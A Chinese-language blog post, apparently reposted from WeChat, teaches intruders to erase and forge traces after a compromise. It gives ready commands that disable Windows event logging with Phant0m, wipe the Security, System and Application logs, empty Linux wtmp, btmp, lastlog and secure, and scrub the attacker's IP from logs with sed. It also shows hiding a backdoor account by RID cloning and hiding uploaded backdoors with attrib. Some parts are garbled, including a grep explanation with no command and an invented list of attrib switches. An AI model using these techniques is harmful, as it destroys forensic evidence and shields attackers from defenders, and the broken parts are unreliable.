前言:
前些天有师傅说护网没啥经验而学的时候对于痕迹隐藏或者痕迹清理啥的也没怎么学,所以今天跟大家讨论一下渗透后对于渗透痕迹的清理的一些基础,因为护网里内网环境是居多的所以今天先说下在服务器内的痕迹清理,内容主要分为痕迹清理和痕迹伪造两部分。
1,痕迹清理:
一,Windows环境下:
前置:
通常在win下进行痕迹删除都会暂停日志记录服务,而这也是很多红队师傅初次HW所没有注意到的内容,在win下删除日志这个行为也会被日志记录下来,而溯源时只要查看相对应的删除日志记录即可,需要借助工具Phant0m,地址为:
https://github.com/hlldz/Phant0m
之后就可以删除对应日志了,在Windows环境下日志存放位置为:
C:WindowsSystem32winevtLogsSecurity.evtx
C:WindowsSystem32winevtLogsApplication.evtx
C:WindowsSystem32winevtLogsSystem.evtx
C:UsersAdministratorDocumentsDefault.rdp
第一个为【安全日志】
第二个为【应用程序日志】
第三个为【系统日志】
第四个为【远程桌面存放记录】
而对于没有开放3389的win服务器或者说没有成功连接到远程桌面但是成功反弹了shell或者获取了shell的机器可以通过命令行清除。
而命令行又分为两种环境【CMD】和【powershell】环境。
【CMD环境】
PowerShell -Command "& {Clear-Eventlog -LogApplication,System,Security}"
用了Clear-Eventlog cmdlet清除三个日志,&符号是用于指要执行的命令的。
PowerShell -Command "& {Get-WinEvent -ListLog
Application,System,Security -Force | % {Wevtutil.exe cl $_.Logname}}"
这条也是较常用的,先用Get-WinEvent -ListLog获取三个日志的列表在传给ForEach-Object cmdlet使用Wevtutil.exe工具清除其中的所有事件记录。
【Powershell环境】
Clear-Eventlog -Log Application,System,Security
Get-WinEvent -ListLog Application,System,Security -Force |%{Wevtutil.exe cl $_.Logname}
y -Force |%{Wevtutil.exe cl $_.Logname}
和cmd环境下的命令其实是大差不差的,只是cmd环境下多了个powershell环境前缀,两条命令的作用是完全一样的,运行完命令后就删除运行命令的注册表记录
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRUdakai
而对于文件类的也会存在记录。
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerWordWheelQuery
文件浏览的注册表
还有较为便捷的命令:
Wevtuil el //列出全部日志
wevtutil cl security //清理安全日志
wevtutil cl application //清理程序日志
wevtutil cl system //清理系统日志
二,Linux:
Linux历史记录文件为:.bash_history,编辑历史文件的命令为:
vim ~/.bash_history
随后即可进入被保存的历史命令里然后把自己的历史命令删除。
而linux日志也是痕迹清除的一个重要环节。
Lastlog
Last
Users
第一条命令为【所有用户最后一次登录时间查看】
第二天命令为【所有用户的登录和注销信息】
第三条为【当前用户信息】
而起分别所对应的路径分别为:
/var/log/lastlog
/var/log/wtmp
/var/log/utmp
而其它较为重要的日志还有:
/var/log/message //系统信息和错误日志
/var/log/btmp //登录失败的记录
/var/log/secure //安全日志
/var/log/boot.log //记录守护进程启动和停止相关的日志消息
/var/log/cron //记录定时任务相关的日志信息
/var/log/maillog //记录邮件相关的日志信息
/var/log/auth.log //需要身份确认的操作
相对应的清除命令为:
echo > /var/log/btmp
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/utmp
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/message
而在进行SSH连接时也会被记录可使用:
ssh -T root@xxx.xxx.xx /bin/bash -i
实现隐身登录
使用公钥登录可用:
ssh -o UserKnownHostsFile=/dev/null -T user /bin/bash –i
它的作用是将Nginx的访问日志中不包含"evil.php"的行筛选出来,并将结果输出到一个名为"tmp.log"的文件中通常是清除web痕迹的。
2,痕迹替换或伪造:
一,Windows环境:
1, 替换日志隐藏用户:
首先打开注册表,找到路径:HKEY_LOCAL_MACHINESAMSAM
然后右键点击权限
选择Admin给【完全控制和读取】打勾。
随后到HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames路径找到你创建的用户,然后替换用户的Rid,把Administrator对应的值的注册表导出,然后就好得到3ee.reg,1f4.reg和你创建用户的reg,在把f建值替换,把3ee.rge的f键值替换为1f4.reg的f键值随后系统就会把你
创建的账户视为系统账户。随后就把导入的3ee.reg和你创建用户组的reg文件导入即可。
二,隐藏文件:
上传了某工具或者EXP或者后门时为防止被发现可用
attrib命令隐藏所上传的文件例如花某在这里先创建一个hackupload的文件夹路径为:D:hackupload再在此路径下上传一个叫Red team.php的文件
再打开cmd ,先使用dir命令查看
可看见是存在Rt.php文件的然后再执行:
attrib +h "D:hackuploadRed team.php"
可发现再次使用dir命令已经查看不到rt.php文件了,再次执行:
attrib –h "D:hackuploadRed team.php"
可发现又出现了rt.php文件,所以在attrib命令中“+”代表为这个文件添加这个属性而“-”代表为这个文件减去这个属性,其它的attrib命令参数为:
/S:在指定目录及其子目录中执行操作。
/D:在指定目录中执行操作。
+:设置属性。
-:取消属性。
R:设置只读属性。
A:设置存档属性。
S:设置系统属性。
H:设置隐藏属性。
I:设置索引属性。
/L:递归符号链接。
/X:强制解除挂载点上的属性。
/P:提示用户是否更改只读文件。
/E:编辑文件属性。
/SAGE:显示文件的安全性设置
/SIZES:显示文件的大小。
/SPEEDY:显示文件的访问时间和修改时间。
/SLOW:显示文件的访问时间、修改时间和创建时间。
/SNAP:显示文件的快照信息。
/SPLIT:将文件分成多个部分。
/SPLITSIZE:指定分割文件的大小。
/SPLITNAME:指定分割文件的名称。
/SPLITPATH:指定分割文件的路径。
/SPLITTYPE:指定分割文件的类型。
/SPLITCOUNT:指定分割文件的数量。
/SPLITDEL:删除分割文件。
/SPLITMERGE:合并分割文件。
2,Linux系统下:
再Linux下替换日志或删除文件比较便捷。
1,删除指定ip或用户日志:
sed -i '/攻击ip/'d /var/log/messages
这条命令是删除/var/log/messages日志下包含了“攻击ip”的信息,当然也可替换/var/log/messages
为别的日志删除“攻击ip”的信息,攻击ip在实战中就替换为自己攻击机所被记录的ip。
sed -i 's/192.168.xxx.xx/127.0.0.1/g' /var/log/messages
这条命令的作用是将/var/log/messages日志中的“192.168.xxx.xx”ip替换为ip“127.0.0.1”
2,替换文件:
cat access.log> /var/xx/xxxx/access.log
这条命令的作用是将我们准备的access.log文件替换掉原来的“access.log”文件同理替换其它日志或文件也可使用此命令
结语:对于痕迹抹除还有许多内容,这些只是花某感觉较常用或者说是必备类内容,日后还会为大家带来更多这方面的内容。
原文始发于微信公众号(flower安全混子):对于黑客(红队)攻击后渗透痕迹抹除的一些研究(flower安全日志)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论